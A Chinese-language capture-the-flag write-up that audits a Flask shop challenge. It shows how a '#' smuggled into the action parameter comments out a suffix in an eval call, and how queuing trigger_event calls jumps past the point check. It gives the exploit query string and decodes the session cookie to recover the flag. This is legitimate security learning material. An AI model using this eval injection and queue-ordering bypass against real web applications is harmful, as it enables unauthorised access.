摘要 python、flask、事件触发
#### 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 from flask import Flask, session, request, Responseimport urllibapp = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG (): return '*********************' def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix) + len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action + ';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix + '/') def entry_point (): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop() def view_handler (args ): page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format ( session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler (args ): bool_show_source = str (args[0 ]) bool_download_source = str (args[1 ]) if bool_show_source == 'True' : source = open ('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' , '&' ).replace('\t' , ' ' * 4 ).replace( ' ' , ' ' ).replace('<' , '<' ).replace('>' , '>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ]) def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args ): flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
审计 程序入口:
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route(url_prefix + '/') def entry_point (): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop()
query_string
:https://blog.csdn.net/weixin_45950544/article/details/103909413
trigger_event
:添加事件到消息队列
1 2 3 4 5 6 7 8 def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event)
request.event_queue
:请求的事件队列
xxx_handler
:相应事件的处理
execute_event_loop
:事件触发循环,持续执行直到request.event_queue
为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action + ';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp
#event is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
这里事件依靠有合法格式的请求字段触发,且触发的事件(函数),会传入list
类型的参数
但是:
1 2 3 4 try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args)
所有的事件处理都会加上_handler
,如何执行指定函数?
绕过
eval
函数本质是将字符串str当成有效的表达式来求值并返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意进行代码注入,不过由于ARGS
是使用#
进行分隔,而#
在python代码中是注释符,在action
中加入#
,可以把后面_handler
注释掉。
现在我们可以执行指定函数了,但不能直接执行flag()……
事件触发与检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ]) def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume
这里是购买商品的逻辑,分为买
与消费
buy
会先加上购买的数量,再调用consume
判断其合理性,错误则回滚(RollBack)
而获取flag……
1 2 3 4 5 def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )
当购买量大于5时,flag将写入session中(flask的特色session……
注意:
事件的触发都由事件队列循环触发,包括判断的consume_point_function
如果我们通过函数trigger_event
执行,可以一次向队列里加入指定数量的事件,将consume_point_function 挤到后面,从而绕过检测。
flag ?action:trigger_event%23;action:buy;5%23action:get_flag;
再找session解密:
python flask_session_cookie_manager3.py decode -c .eJyNjkHLgkAYhP9KvGcPq0uEgpewAkmXSFv3jQjNKM3dBPWrNvzvRdDhow7dBmbmmblDdT6As17fYZCBA4KHJOV2x6Rv7qPGhN74cPIqn9oym00Vu7gu9Bvj3Ua16oSuy8wa6pybVULHfykfEqZj9wtJYY3JbvRMnDA5vEj_QTqd2TSxsBF8N0J5PSJtLoEX3Jjny3BJtNCxOY8WV5STlnmrUhSECo0ysOJbWOaViHz7l-FfroHq5LZo97IBhxhQnwvVPiXtH6CKZyQ.YUg_lg.gISqBdkGE28iR_tVgmgIN9-xJOA b'{"log":[[{" b":"YWN0aW9uOmJ1eTs1"},{" b":"YWN0aW9uOmdldF9mbGFnOw=="}],[{" b":"ZnVuYzpjb25zdW1lX3BvaW50OzU="},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],{" b":"ZnVuYzpzaG93X2ZsYWc7ZmxhZ3swMDMyODJmNS0zYzU1LTQxZmEtODVjYi03YzZmM2UyNjdlYTJ9"},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],"num_items":0,"points":3}'
解码获得flag!
参考文章:ddctf2019-misc&web&re-writeup